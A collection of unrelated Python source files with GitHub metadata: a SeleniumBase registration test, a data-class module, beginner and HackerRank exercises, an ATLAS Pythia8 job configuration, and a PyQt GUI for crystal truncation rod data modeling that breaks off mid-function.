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bd864948115d01c55ddf8a2c0d4f5507730cb085

refs/heads/master

2021-07-14T02:13:56.315273

2021-01-18T08:06:55

173,987,517

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MIT

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2019-03-05T17:05:07

2019-02-07T06:16:17

2019-02-07T06:16:12

72

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null

false

null

# -*- coding: utf-8 -*- from seleniumbase import BaseCase class UserRegistration(BaseCase): def test_user_registration(self): self.open('http://hackazon.webscantest.com/') self.click("link=Sign In / Sign Up") self.click('#username') self.click("link=New user?") self.click('#first_name') self.update_text('#first_name', 'myFirstName') self.update_text('#last_name', 'myLastName') self.update_text('#username', 'myUserName1') self.update_text('#email', 'abc@a.com') self.update_text('#password', 'pass1234') self.update_text('#password_confirmation', 'pass1234') self.click("//input[@value='Register']")

UTF-8

Python

false

708

py

13

userregistration_SB.py

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0.612994

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mizuno-group/enan

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/enan/data/data.py

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https://github.com/mizuno-group/enan

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refs/heads/master

2023-01-24T20:27:43.966650

2020-12-05T07:29:39

318,722,639

0

null

# -*- coding: utf-8 -*- """ Created on Mon Sep 23 13:05:34 2019 Data class Analyzer o-- DataControl *-- Data @author: tadahaya """ import pandas as pd import numpy as np from .adjuster import * __all__ = ["Data","SeqData","SetData","SetTSData","VectorData"] # abstract class class Data(): def __init__(self): self.data = None self.whole = set() def set_data(self,data): """ set data """ raise NotImplementedError def set_whole(self,whole): """ set whole """ self.whole = whole def get_data(self): """ get data """ return self.data def get_whole(self): """ get whole """ return self.whole def adjust(self,**kwargs): """ adjust data to the indicated whole """ raise NotImplementedError # concrete class class SeqData(Data): """ data given as a set """ def __init__(self): super().__init__() self.data = {} self.__adj = SeqAdjuster() def set_data(self,data): """ load data """ if type(data)!=set: raise TypeError("!! data should be a set !!") self.data = data def adjust(self,**kwargs): """ adjust data to the indicated whole """ self.data = self.__adj.adjust(self.data,self.whole,**kwargs) # concrete class class SetData(Data): """ data given as a dict of {term:sets of group} """ def __init__(self): super().__init__() self.data = dict() self.__adj = SetAdjuster() # private def set_data(self,data): """ load data """ if type(data)!=dict: raise TypeError("!! data should be a dict !!") self.data = data def adjust(self,**kwargs): """ adjust data to the indicated whole """ self.data = self.__adj.adjust(self.data,self.whole,**kwargs) # concrete class class SetTSData(Data): """ data given as a dict of {term:tuples of up/down tags} """ def __init__(self): super().__init__() self.data = dict() self.__adj = SetTSAdjuster() # private def set_data(self,data): """ load data """ if type(data)!=dict: raise TypeError("!! data should be a dict !!") elif type(list(data.values())[0])!=tuple: raise TypeError("!! data should be a dict of tuples of up/down tags !!") self.data = data def adjust(self,**kwargs): """ adjust data to the indicated whole """ self.data = self.__adj.adjust(self.data,self.whole,**kwargs) # concrete class class VectorData(Data): """ data given as a dataframe """ def __init__(self): super().__init__() self.data = pd.DataFrame() self.__adj = VectorAdjuster() # private def set_data(self,data): """ load data """ if type(data)==pd.core.series.Series: self.data = pd.DataFrame(data) elif type(data)==pd.core.frame.DataFrame: self.data = data else: raise TypeError("!! data should be a dataframe !!") def adjust(self,**kwargs): """ adjust data to the indicated whole """ self.data = self.__adj.adjust(self.data,self.whole,**kwargs)

UTF-8

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py

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data.py

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0.529535

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lallmanish90/coltSteelePythonCourse

1,271,310,358,701

b60af5a98bcd9855e47c382001043221e38cc8ba

b8921d9f1823d3a9e4e1142ee7ae5ea9b7729dae

/OOP/creating_classes.py

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[]

no_license

https://github.com/lallmanish90/coltSteelePythonCourse

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refs/heads/master

2023-04-25T01:41:29.501147

2021-05-04T04:00:24

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null

true

2020-06-04T19:17:54

2020-06-04T19:17:53

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null

false

""" Defining the simplest possible class whenever creating a class , python """ # classes are singular with camel case # self referse to the that current instance # init will auto run when a class is called class User: def __init__(self, first, last, age): #print("A new user has been made!") self.first = first self.last = last self.age = age user1 = User("Joe", "Flaco", 32) user2 = User("Blanca", "Smith", 17) print(user1.first) print(user1.last) print(user1.age) print(user2.first) print(user2.last) print(user2.age)

UTF-8

Python

false

564

py

125

creating_classes.py

122

0.666667

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prateek5794/hackerrank

14,147,622,304,791

05ba169f3593d5fff579a364e92e810541973793

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/strings/anagram-English/anagram.py

f2401094cc5833d0d35420712cc35d6aa4c6e4bb

[]

no_license

https://github.com/prateek5794/hackerrank

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refs/heads/master

2020-05-20T19:27:52.789177

2016-07-08T19:25:29

59,769,610

0

null

t=int(input()) for _ in range(t): s=input() if len(s)%2==1: print('-1') continue else: x=int(len(s)/2) for k in range(x): s=s[:x]+s[x:].replace(s[k],'',1) print(len(s[x:]))

UTF-8

Python

false

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anagram.py

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0

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chakilamnaresh/pythonlearning

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a5ce881eeff17d01ebcb538100f094ac2f7c04df

d017d6aeebac14dc4ec364a0892cd0e334071364

/sum/com/naresh/fileOperations.py

c55cd0d29d0e6e396d8204b1929c5dcc4a64eedb

[]

no_license

https://github.com/chakilamnaresh/pythonlearning

f4d4d4a5e42262728963cb93e6f85ef682bae404

0c02e0ed34b4f08e4ebb30962d8b131ec2761154

refs/heads/master

2020-04-01T11:31:53.139956

2018-10-15T19:47:40

153,166,453

0

null

import json with open('E:\states.json') as f: data=json.load(f) for state in data['states']: del state['area_codes'] print(state) with open('E:\states2.json','w') as f: json.dump(data,f)

UTF-8

Python

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py

64

fileOperations.py

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0.558442

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0

11

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AtlasWHHV/ATLASMCValidation

12,000,138,673,268

7723b844195eb1b581fef7a98b76d4f0b3636fcc

5f8482008795504e17db32c814586567d8ad8483

/mcjo/MC12.191300.Pythia8_AU2MSTW2008LO_HV_ggH_mH300_mVPI100.py

a2b12a97f4e8b11054720df85151842a36b53662

[]

no_license

https://github.com/AtlasWHHV/ATLASMCValidation

4694cf096f39be3f393ec6f41656aca9e110fd1d

3b33e86eadb577f00ff9d5201d4d7288b0499820

refs/heads/master

2020-12-31T07:11:49.959589

2017-02-01T01:53:58

80,581,202

0

null

############################################################### # Pythia8 H_v -> pi_v pi_v # contact: Gordon Watts (gwatts@uw.edu) #=============================================================== evgenConfig.description = "Higgs (mH300) to pi_v (mVPI100) to displaced heavy fermions" evgenConfig.keywords = ["exotic", "hiddenValley", "longLived"] evgenConfig.contact = ["gwatts@uw.edu"] # Specify MSTW2008LO PDF include("MC12JobOptions/Pythia8_AU2_MSTW2008LO_Common.py") topAlg.Pythia8.Commands += ["ParticleDecays:limitTau0 = off"] # Allow long-lived particles to decay topAlg.Pythia8.Commands += ["35:name = H_v"] # Set H_v name topAlg.Pythia8.Commands += ["36:name = pi_v"] # Set pi_v name topAlg.Pythia8.Commands += ["Higgs:useBSM = on"] # Turn on BSM Higgses topAlg.Pythia8.Commands += ["HiggsBSM:gg2H2 = on"] # Turn on gg->H_v production topAlg.Pythia8.Commands += ["35:onMode = off"] # Turn off all H_v decays topAlg.Pythia8.Commands += ["35:onIfAll = 36 36"] # Turn back on H_v->pi_vpi_v topAlg.Pythia8.Commands += ["35:m0 = 300"] # Set H_v mass topAlg.Pythia8.Commands += ["36:m0 = 100"] # Set pi_v mass topAlg.Pythia8.Commands += ["36:tau0 = 1330"] # Set pi_v lifetime # Turn off checks for displaced vertices. Include the filter # to make sure it is appended and we can access it (the code # won't include it again). include("EvgenJobTransforms/Generate_TestHepMC.py") topAlg.TestHepMC.MaxVtxDisp = 1000*1000 #In mm topAlg.TestHepMC.MaxTransVtxDisp = 1000*1000

UTF-8

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false

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py

8

MC12.191300.Pythia8_AU2MSTW2008LO_HV_ggH_mH300_mVPI100.py

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0.636901

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jackey-qiu/DaFy_P23

5,059,471,499,037

58478c25216f39bcbed2eb92bafbb1d821072b01

cb6e5c8a91dce5911afbbbb7a8a4b55bc0c7687e

/scripts/SuperRod/superrod_GUI_pyqtgraph.py

c3e05a7192da23928273300240712403b6111f66

[]

no_license

https://github.com/jackey-qiu/DaFy_P23

3870d4e436b0e9df7f1dcb747caaf38589274f92

ad2ca8e16e92935233e84c2d9fe2b59f4f114444

refs/heads/master

2022-04-10T18:32:24.392046

2020-03-22T18:22:46

198,180,139

1

0

null

import sys,os, qdarkstyle import traceback from io import StringIO from PyQt5.QtWidgets import QApplication, QMainWindow, QFileDialog, QMessageBox from PyQt5 import uic import random import numpy as np import pandas as pd import types,copy import matplotlib.pyplot as plt try: from . import locate_path except: import locate_path script_path = locate_path.module_path_locator() DaFy_path = os.path.dirname(os.path.dirname(script_path)) sys.path.append(DaFy_path) sys.path.append(os.path.join(DaFy_path,'dump_files')) sys.path.append(os.path.join(DaFy_path,'EnginePool')) sys.path.append(os.path.join(DaFy_path,'FilterPool')) sys.path.append(os.path.join(DaFy_path,'util')) sys.path.append(os.path.join(DaFy_path,'scripts')) from UtilityFunctions import locate_tag from UtilityFunctions import apply_modification_of_code_block as script_block_modifier from models.structure_tools.sxrd_dafy import AtomGroup from models.utils import UserVars import diffev from fom_funcs import * import parameters import data_superrod as data import model import solvergui import time import matplotlib matplotlib.use("Qt5Agg") import pyqtgraph as pg import pyqtgraph.exporters from PyQt5 import QtCore from PyQt5.QtWidgets import QCheckBox, QRadioButton, QTableWidgetItem, QHeaderView, QAbstractItemView, QInputDialog from PyQt5.QtCore import Qt, QTimer from PyQt5.QtGui import QTransform, QFont, QBrush, QColor, QIcon from pyqtgraph.Qt import QtGui import syntax_pars from models.structure_tools import sorbate_tool # from chemlab.graphics.renderers import AtomRenderer # from chemlab.db import ChemlabDB #from matplotlib.backends.backend_qt5agg import (NavigationToolbar2QT as NavigationToolbar) class RunFit(QtCore.QObject): updateplot = QtCore.pyqtSignal(str,object) def __init__(self,solver): super(RunFit, self).__init__() self.solver = solver self.running = False def run(self): self.running = True self.solver.optimizer.stop = False self.solver.StartFit(self.updateplot) def stop(self): self.running = False self.solver.optimizer.stop = True class MyMainWindow(QMainWindow): def __init__(self, parent = None): super(MyMainWindow, self).__init__(parent) pg.setConfigOptions(imageAxisOrder='row-major', background = 'k') pg.mkQApp() uic.loadUi(os.path.join(DaFy_path,'scripts','SuperRod','superrod3.ui'),self) self.setWindowTitle('Data analysis factory: CTR data modeling') icon = QIcon(os.path.join(script_path,"DAFY.png")) self.setWindowIcon(icon) self.comboBox_all_motif.insertItems(0, sorbate_tool.ALL_MOTIF_COLLECTION) # self.show() self.stop = False self.show_checkBox_list = [] self.domain_tag = 1 self.data_profiles = [] #set fom_func #self.fom_func = chi2bars_2 #parameters #self.parameters = parameters.Parameters() #scripts #self.script = '' #script module #self.script_module = types.ModuleType('genx_script_module') self.model = model.Model() # self.solver = solvergui.SolverController(self) self.run_fit = RunFit(solvergui.SolverController(self.model)) self.fit_thread = QtCore.QThread() # self.structure_view_thread = QtCore.QThread() # self.widget_edp.moveToThread(self.structure_view_thread) self.run_fit.moveToThread(self.fit_thread) #self.run_fit.updateplot.connect(self.update_plot_data_view_upon_simulation) self.run_fit.updateplot.connect(self.update_par_during_fit) self.run_fit.updateplot.connect(self.update_status) #self.run_fit.updateplot.connect(self.update_structure_view) # self.run_fit.updateplot.connect(self.start_timer_structure_view) self.fit_thread.started.connect(self.run_fit.run) #tool bar buttons to operate modeling self.actionNew.triggered.connect(self.init_new_model) self.actionOpen.triggered.connect(self.open_model) self.actionSave.triggered.connect(self.save_model) self.actionSimulate.triggered.connect(self.simulate_model) self.actionRun.triggered.connect(self.run_model) self.actionStop.triggered.connect(self.stop_model) self.actionCalculate.triggered.connect(self.calculate_error_bars) #pushbuttons for data handeling self.pushButton_load_data.clicked.connect(self.load_data_ctr) self.pushButton_append_data.clicked.connect(self.append_data) self.pushButton_delete_data.clicked.connect(self.delete_data) self.pushButton_save_data.clicked.connect(self.save_data) # self.pushButton_calculate.clicked.connect(self.calculate) self.pushButton_update_mask.clicked.connect(self.update_mask_info_in_data) #pushbuttons for structure view self.pushButton_azimuth_0.clicked.connect(self.azimuth_0) self.pushButton_azimuth_90.clicked.connect(self.azimuth_90) self.pushButton_elevation_0.clicked.connect(self.elevation_0) self.pushButton_elevation_90.clicked.connect(self.elevation_90) self.pushButton_parallel.clicked.connect(self.parallel_projection) self.pushButton_projective.clicked.connect(self.projective_projection) #spinBox to save the domain_tag self.spinBox_domain.valueChanged.connect(self.update_domain_index) #pushbutton for changing plotting style # self.pushButton_toggle_bkg_color.clicked.connect(self.change_plot_style) #pushbutton to load/save script self.pushButton_load_script.clicked.connect(self.load_script) self.pushButton_save_script.clicked.connect(self.save_script) self.pushButton_modify_script.clicked.connect(self.modify_script) #pushbutton to load/save parameter file self.pushButton_load_table.clicked.connect(self.load_par) self.pushButton_save_table.clicked.connect(self.save_par) self.pushButton_remove_rows.clicked.connect(self.remove_selected_rows) self.pushButton_add_one_row.clicked.connect(self.append_one_row) self.pushButton_update_plot.clicked.connect(self.update_structure_view) self.pushButton_update_plot.clicked.connect(self.update_plot_data_view_upon_simulation) self.pushButton_update_plot.clicked.connect(self.update_par_bar_during_fit) self.pushButton_add_par_set.clicked.connect(self.append_par_set) #select dataset in the viewer self.comboBox_dataset.activated.connect(self.update_data_view) #syntax highlight self.plainTextEdit_script.setStyleSheet("""QPlainTextEdit{ font-family:'Consolas'; font-size:14pt; color: #ccc; background-color: #2b2b2b;}""") self.plainTextEdit_script.setTabStopWidth(self.plainTextEdit_script.fontMetrics().width(' ')*4) #self.data = data.DataList() #table view for parameters set to selecting row basis # self.tableWidget_pars.itemChanged.connect(self.update_par_upon_change) self.tableWidget_pars.setSelectionBehavior(QAbstractItemView.SelectRows) self.tableWidget_data.setSelectionBehavior(QAbstractItemView.SelectRows) self.timer_save_data = QtCore.QTimer(self) self.timer_save_data.timeout.connect(self.save_model) self.timer_update_structure = QtCore.QTimer(self) self.timer_update_structure.timeout.connect(self.pushButton_update_plot.click) self.setup_plot() def update_domain_index(self): self.domain_tag = int(self.spinBox_domain.text()) if self.model.compiled: self.widget_edp.items = [] self.widget_msv_top.items = [] self.init_structure_view() else: pass def parallel_projection(self): self.widget_edp.opts['distance'] = 2000 self.widget_edp.opts['fov'] = 1 self.widget_msv_top.opts['distance'] = 2000 self.widget_msv_top.opts['fov'] = 1 self.update_structure_view() def projective_projection(self): self.widget_edp.opts['distance'] = 25 self.widget_edp.opts['fov'] = 60 self.widget_msv_top.opts['distance'] = 25 self.widget_msv_top.opts['fov'] = 60 self.update_structure_view() def update_camera_position(self,widget_name = 'widget_edp', angle_type="azimuth", angle=0): #getattr(self,widget_name) getattr(self,widget_name).setCameraPosition(pos=None, distance=None, \ elevation=[None,angle][int(angle_type=="elevation")], \ azimuth=[None,angle][int(angle_type=="azimuth")]) def azimuth_0(self): self.update_camera_position(angle_type="azimuth", angle=0) def azimuth_90(self): self.update_camera_position(angle_type="azimuth", angle=90) def elevation_0(self): self.update_camera_position(angle_type="elevation", angle=0) def elevation_90(self): self.update_camera_position(angle_type="elevation", angle=90) #do this after model is loaded, so that you know len(data) def update_plot_dimension(self, columns = 2): self.widget_data.clear() self.widget_data.ci.currentRow = 0 self.widget_data.ci.currentCol = 0 self.data_profiles = [] total_datasets = len(self.model.data) #current list of ax handle # ax_list_now = list(range(len(self.data_profiles))) for i in range(total_datasets): # if i not in ax_list_now: if 1: hk_label = '{}{}L'.format(str(int(self.model.data[i].extra_data['h'][0])),str(int(self.model.data[i].extra_data['k'][0]))) if (i%columns)==0 and (i!=0): self.widget_data.nextRow() self.data_profiles.append(self.widget_data.addPlot(title=hk_label)) else: self.data_profiles.append(self.widget_data.addPlot(title=hk_label)) def setup_plot(self): self.fom_evolution_profile = self.widget_fom.addPlot() self.par_profile = self.widget_pars.addPlot() self.fom_scan_profile = self.widget_fom_scan.addPlot() def update_data_check_attr(self): re_simulate = False for i in range(len(self.model.data)): self.model.data[i].show = self.tableWidget_data.cellWidget(i,1).isChecked() self.model.data[i].use_error = self.tableWidget_data.cellWidget(i,3).isChecked() if self.model.data[i].use!=self.tableWidget_data.cellWidget(i,2).isChecked(): re_simulate = True self.model.data[i].use = self.tableWidget_data.cellWidget(i,2).isChecked() if re_simulate: self.simulate_model() def update_plot_data_view(self): if self.model.compiled: self.update_data_check_attr() self.update_plot_data_view_upon_simulation() else: # plot_data_index = [] for i in range(len(self.model.data)): # if self.tableWidget_data.cellWidget(i,1).isChecked(): fmt = self.tableWidget_data.item(i,4).text() fmt_symbol = list(fmt.rstrip().rsplit(';')[0].rsplit(':')[1]) # self.selected_data_profile.plot(self.model.data[i].x, self.model.data[i].y,pen = None, symbolBrush=fmt_symbol[1], symbolSize=int(fmt_symbol[0]),symbolPen=fmt_symbol[2], clear = (len(plot_data_index) == 0)) self.data_profiles[i].plot(self.model.data[i].x, self.model.data[i].y,pen = None, symbolBrush=fmt_symbol[1], symbolSize=int(fmt_symbol[0]),symbolPen=fmt_symbol[2], clear = True) #plot_data_index.append(i) [each.setLogMode(x=False,y=True) for each in self.data_profiles] [each.autoRange() for each in self.data_profiles] #self.selected_data_profile.autoRange() def update_plot_data_view_upon_simulation(self): for i in range(len(self.model.data)): # if hasattr(self.model.data[i],'mask'): # mask_index = (self.model.data[i].mask==True) # else: # mask_index = np.array([True]*len(self.model.data[i].x)) # if self.tableWidget_data.cellWidget(i,1).isChecked(): if 1: fmt = self.tableWidget_data.item(i,4).text() fmt_symbol = list(fmt.rstrip().rsplit(';')[0].rsplit(':')[1]) line_symbol = list(fmt.rstrip().rsplit(';')[1].rsplit(':')[1]) # self.selected_data_profile.plot(self.data[i].x, self.data[i].y, clear = True) # self.selected_data_profile.plot(self.model.data[i].x, self.model.data[i].y,pen={'color': 'y', 'width': 0}, symbolBrush=(255,0,0), symbolSize=5,symbolPen='w', clear = (len(plot_data_index) == 0)) self.data_profiles[i].plot(self.model.data[i].x, self.model.data[i].y,pen = None, symbolBrush=fmt_symbol[1], symbolSize=int(fmt_symbol[0]),symbolPen=fmt_symbol[2], clear = True) if self.tableWidget_data.cellWidget(i,2).isChecked(): self.data_profiles[i].plot(self.model.data[i].x, self.model.data[i].y_sim,pen={'color': line_symbol[1], 'width': int(line_symbol[0])}, clear = False) else: pass # plot_data_index.append(i) [each.setLogMode(x=False,y=True) for each in self.data_profiles] [each.autoRange() for each in self.data_profiles] # self.selected_data_profile.setLogMode(x=False,y=True) # self.selected_data_profile.autoRange() fom_log = np.array(self.run_fit.solver.optimizer.fom_log) #print(fom_log) self.fom_evolution_profile.plot(fom_log[:,0],fom_log[:,1],pen={'color': 'r', 'width': 2}, clear = True) self.fom_evolution_profile.autoRange() def update_par_bar_during_fit(self): if self.run_fit.running: par_max = self.run_fit.solver.optimizer.par_max par_min = self.run_fit.solver.optimizer.par_min vec_best = copy.deepcopy(self.run_fit.solver.optimizer.best_vec) vec_best = (vec_best-par_min)/(par_max-par_min) pop_vec = np.array(copy.deepcopy(self.run_fit.solver.optimizer.pop_vec)) trial_vec_min =[] trial_vec_max =[] for i in range(len(par_max)): trial_vec_min.append((np.min(pop_vec[:,i])-par_min[i])/(par_max[i]-par_min[i])) trial_vec_max.append((np.max(pop_vec[:,i])-par_min[i])/(par_max[i]-par_min[i])) trial_vec_min = np.array(trial_vec_min) trial_vec_max = np.array(trial_vec_max) bg = pg.BarGraphItem(x=range(len(vec_best)), y=(trial_vec_max + trial_vec_min)/2, height=(trial_vec_max - trial_vec_min)/2, brush='b', width = 0.8) # best_ = pg.ScatterPlotItem(size=10, pen=(200,200,200), brush=pg.mkBrush(255, 255, 255, 120)) # best_.addPoints([{'pos':range(len(vec_best)),'data':vec_best}]) # print(trial_vec_min) # print(trial_vec_max) # print(par_min) # print(par_max) self.par_profile.clear() self.par_profile.addItem(bg) # self.par_profile.addItem(best_) # p1 = self.par_profile.addPlot() self.par_profile.plot(vec_best, pen=(0,0,0), symbolBrush=(255,0,0), symbolPen='w') else: pass def calculate_error_bars(self): try: error_bars = self.run_fit.solver.CalcErrorBars() total_num_par = len(self.model.parameters.data) index_list = [i for i in range(total_num_par) if self.model.parameters.data[i][2]] for i in range(len(error_bars)): self.model.parameters.data[index_list[i]][-1] = error_bars[i] self.update_par_upon_load() except diffev.ErrorBarError as e: _ = QMessageBox.question(self, 'Runtime error message', str(e), QMessageBox.Ok) def init_new_model(self): reply = QMessageBox.question(self, 'Message', 'Would you like to save the current model first?', QMessageBox.Yes | QMessageBox.No, QMessageBox.Yes) if reply == QMessageBox.Yes: self.save_model() self.model = model.Model() self.run_fit.solver.model = self.model self.tableWidget_data.setRowCount(0) self.tableWidget_pars.setRowCount(0) self.plainTextEdit_script.setPlainText('') self.comboBox_dataset.clear() self.tabelWidget_data_view.setRowCount(0) self.update_plot_data_view() def open_model(self): options = QFileDialog.Options() options |= QFileDialog.DontUseNativeDialog fileName, _ = QFileDialog.getOpenFileName(self,"QFileDialog.getOpenFileName()", "","rod file (*.rod);;zip Files (*.rar)", options=options) load_add_ = 'success' if fileName: self.setWindowTitle('Data analysis factory: CTR data modeling-->{}'.format(fileName)) self.model.load(fileName) self.update_plot_dimension() try: self.load_addition() except: load_add_ = 'failure' #add a mask attribute to each dataset for each in self.model.data_original: if not hasattr(each,'mask'): each.mask = np.array([True]*len(each.x)) for each in self.model.data: if not hasattr(each,'mask'): each.mask = np.array([True]*len(each.x)) #add model space to terminal self.widget_terminal.update_name_space("model",self.model) self.widget_terminal.update_name_space("solver",self.run_fit.solver) self.widget_terminal.update_name_space("win",self) #remove items in the msv and re-initialize it self.widget_edp.items = [] self.widget_msv_top.items = [] #update other pars self.update_table_widget_data() self.update_combo_box_dataset() self.update_plot_data_view() self.update_par_upon_load() self.update_script_upon_load() # self.init_structure_view() #model is simulated at the end of next step self.init_mask_info_in_data_upon_loading_model() #add name space for cal bond distance after simulation self.widget_terminal.update_name_space("report_distance",self.model.script_module.sample.inter_atom_distance_report) #now set the comboBox for par set self.update_combo_box_list_par_set() self.statusbar.clearMessage() self.statusbar.showMessage("Model is loaded, and {} in config loading".format(load_add_)) # self.update_mask_info_in_data() def update_combo_box_list_par_set(self): attrs = self.model.script_module.__dir__() attr_wanted = [each for each in attrs if type(getattr(self.model.script_module, each)) in [AtomGroup, UserVars]] num_items = self.comboBox_register_par_set.count() for i in range(num_items): self.comboBox_register_par_set.removeItem(0) self.comboBox_register_par_set.insertItems(0,attr_wanted) def append_par_set(self): par_selected = self.comboBox_register_par_set.currentText() #attrs = getattr(self.model.script_module, par_selected) attrs = eval("self.model.script_module.{}.__dir__()".format(par_selected)) attrs_wanted = [each for each in attrs if each.startswith("set")] rows = self.tableWidget_pars.selectionModel().selectedRows() if len(rows) == 0: row_index = self.tableWidget_pars.rowCount() else: row_index = rows[-1].row() for ii in range(len(attrs_wanted)): self.tableWidget_pars.insertRow(row_index) current_value = eval("self.model.script_module."+par_selected+'.'+attrs_wanted[ii].replace('set','get')+"()") for i in range(6): if i==2: check_box = QCheckBox() check_box.setChecked(False) self.tableWidget_pars.setCellWidget(row_index,2,check_box) else: if i == 0: qtablewidget = QTableWidgetItem(".".join([par_selected,attrs_wanted[ii]])) qtablewidget.setFont(QFont('Times',10,QFont.Bold)) elif i in [1]: qtablewidget = QTableWidgetItem(str(round(current_value,4))) qtablewidget.setForeground(QBrush(QColor(255,0,255))) elif i ==5: qtablewidget = QTableWidgetItem('(0,0)') elif i ==3: qtablewidget = QTableWidgetItem(str(round(current_value*0.5,4))) elif i ==4: qtablewidget = QTableWidgetItem(str(round(current_value*1.5,4))) self.tableWidget_pars.setItem(row_index,i,qtablewidget) self.update_model_parameter() def save_model(self): path, _ = QFileDialog.getSaveFileName(self, "Save file", "", "rod file (*.rod);;zip files (*.rar)") if path: self.model.script = (self.plainTextEdit_script.toPlainText()) self.model.save(path) save_add_ = 'success' try: self.save_addition() except: save_add_ = "failure" self.statusbar.clearMessage() self.statusbar.showMessage("Model is saved, and {} in config saving".format(save_add_)) #here save also the config pars for diffev solver def save_addition(self): values=\ [self.widget_solver.par.param('Diff.Ev.').param('k_m').value(), self.widget_solver.par.param('Diff.Ev.').param('k_r').value(), self.widget_solver.par.param('Diff.Ev.').param('Method').value(), self.widget_solver.par.param('FOM').param('Figure of merit').value(), self.widget_solver.par.param('FOM').param('Auto save, interval').value(), self.widget_solver.par.param('Fitting').param('start guess').value(), self.widget_solver.par.param('Fitting').param('Generation size').value(), self.widget_solver.par.param('Fitting').param('Population size').value()] pars = ['k_m','k_r','Method','Figure of merit','Auto save, interval','start guess','Generation size','Population size'] for i in range(len(pars)): self.model.save_addition(pars[i],str(values[i])) def load_addition(self): funcs=\ [self.widget_solver.par.param('Diff.Ev.').param('k_m').setValue, self.widget_solver.par.param('Diff.Ev.').param('k_r').setValue, self.widget_solver.par.param('Diff.Ev.').param('Method').setValue, self.widget_solver.par.param('FOM').param('Figure of merit').setValue, self.widget_solver.par.param('FOM').param('Auto save, interval').setValue, self.widget_solver.par.param('Fitting').param('start guess').setValue, self.widget_solver.par.param('Fitting').param('Generation size').setValue, self.widget_solver.par.param('Fitting').param('Population size').setValue] types= [float,float,str,str,int,bool,int,int] pars = ['k_m','k_r','Method','Figure of merit','Auto save, interval','start guess','Generation size','Population size'] for i in range(len(pars)): type_ = types[i] if type_ == float: value = np.round(float(self.model.load_addition(pars[i])),2) elif type_==str: value = self.model.load_addition(pars[i]).decode("utf-8") else: value = type_(self.model.load_addition(pars[i])) funcs[i](value) def simulate_model(self): self.update_par_upon_change() self.model.script = (self.plainTextEdit_script.toPlainText()) self.widget_solver.update_parameter_in_solver(self) try: self.model.simulate() self.label_2.setText('FOM {}:{}'.format(self.model.fom_func.__name__,self.model.fom)) self.update_plot_data_view_upon_simulation() self.init_structure_view() self.statusbar.clearMessage() self.update_combo_box_list_par_set() self.statusbar.showMessage("Model is simulated successfully!") except model.ModelError as e: _ = QMessageBox.question(self, 'Runtime error message', str(e), QMessageBox.Ok) #print("test error message!") #print(str(e)) ''' self.compile_script() # self.update_pars() (funcs, vals) = self.get_sim_pars() # Set the parameter values in the model #[func(val) for func,val in zip(funcs, vals)] i = 0 for func, val in zip(funcs,vals): try: func(val) except Exception as e: (sfuncs_tmp, vals_tmp) = self.parameters.get_sim_pars() raise ParameterError(sfuncs_tmp[i], i, str(e), 1) i += 1 self.evaluate_sim_func() ''' #print(self.widget_solver.par.param("Fitting").param("start guess").value()) #print(self.widget_solver.par.param("Fitting").param("Population size").value()) def run_model(self): # self.solver.StartFit() # self.start_timer_structure_view() # self.structure_view_thread.start() #button will be clicked every 2 second to update figures self.timer_update_structure.start(2000) self.widget_solver.update_parameter_in_solver(self) self.fit_thread.start() def stop_model(self): self.run_fit.stop() self.fit_thread.terminate() self.timer_update_structure.stop() # self.stop_timer_structure_view() def load_data(self, loader = 'ctr'): self._empty_data_pool() exec('self.load_data_{}()'.format(loader)) def append_data(self): self.load_data_ctr() def _empty_data_pool(self): #now empty the data pool self.model.data.items = [data.DataSet(name='Data 0')] self.model.data._counter = 1 def load_data_ctr(self): #8 columns in total #X, H, K, Y, I, eI, LB, dL #for CTR data, X column is L column, Y column all 0 #for RAXR data, X column is energy column, Y column is L column # self.data = data.DataList() #self.model.compiled = False self.model.compiled = False options = QFileDialog.Options() options |= QFileDialog.DontUseNativeDialog fileName, _ = QFileDialog.getOpenFileName(self,"QFileDialog.getOpenFileName()", "","csv Files (*.csv);;data Files (*.dat);txt Files (*.txt)", options=options) current_data_set_name = [self.tableWidget_data.item(i,0).text() for i in range(self.tableWidget_data.rowCount())] if fileName: with open(fileName,'r') as f: data_loaded = np.loadtxt(f,comments = '#',delimiter=None) data_loaded_pd = pd.DataFrame(data_loaded, columns = ['X','h','k','Y','I','eI','LB','dL']) data_loaded_pd['h'] = data_loaded_pd['h'].apply(lambda x:int(np.round(x))) data_loaded_pd['k'] = data_loaded_pd['k'].apply(lambda x:int(np.round(x))) data_loaded_pd.sort_values(by = ['h','k'], inplace = True) # print(data_loaded_pd) hk_unique = list(set(zip(list(data_loaded_pd['h']), list(data_loaded_pd['k'])))) hk_unique.sort() h_unique = [each[0] for each in hk_unique] k_unique = [each[1] for each in hk_unique] for i in range(len(h_unique)): h_temp, k_temp = h_unique[i], k_unique[i] name = 'Data-{}{}L'.format(h_temp, k_temp) tag = sum([int(name in each) for each in current_data_set_name])+1 #if name in current_data_set_name: name = name + '_{}'.format(tag) self.model.data.add_new(name = name) self.model.data.items[-1].x = data_loaded_pd[(data_loaded_pd['h']==h_temp) & (data_loaded_pd['k']==k_temp)]['X'].to_numpy() self.model.data.items[-1].y = data_loaded_pd[(data_loaded_pd['h']==h_temp) & (data_loaded_pd['k']==k_temp)]['I'].to_numpy() self.model.data.items[-1].error = data_loaded_pd[(data_loaded_pd['h']==h_temp) & (data_loaded_pd['k']==k_temp)]['eI'].to_numpy() self.model.data.items[-1].x_raw = data_loaded_pd[(data_loaded_pd['h']==h_temp) & (data_loaded_pd['k']==k_temp)]['X'].to_numpy() self.model.data.items[-1].y_raw = data_loaded_pd[(data_loaded_pd['h']==h_temp) & (data_loaded_pd['k']==k_temp)]['I'].to_numpy() self.model.data.items[-1].error_raw = data_loaded_pd[(data_loaded_pd['h']==h_temp) & (data_loaded_pd['k']==k_temp)]['eI'].to_numpy() self.model.data.items[-1].set_extra_data(name = 'h', value = data_loaded_pd[(data_loaded_pd['h']==h_temp) & (data_loaded_pd['k']==k_temp)]['h'].to_numpy()) self.model.data.items[-1].set_extra_data(name = 'k', value = data_loaded_pd[(data_loaded_pd['h']==h_temp) & (data_loaded_pd['k']==k_temp)]['k'].to_numpy()) self.model.data.items[-1].set_extra_data(name = 'Y', value = data_loaded_pd[(data_loaded_pd['h']==h_temp) & (data_loaded_pd['k']==k_temp)]['Y'].to_numpy()) self.model.data.items[-1].set_extra_data(name = 'LB', value = data_loaded_pd[(data_loaded_pd['h']==h_temp) & (data_loaded_pd['k']==k_temp)]['LB'].to_numpy()) self.model.data.items[-1].set_extra_data(name = 'dL', value = data_loaded_pd[(data_loaded_pd['h']==h_temp) & (data_loaded_pd['k']==k_temp)]['dL'].to_numpy()) self.model.data.items[-1].mask = np.array([True]*len(self.model.data.items[-1].x)) #now remove the 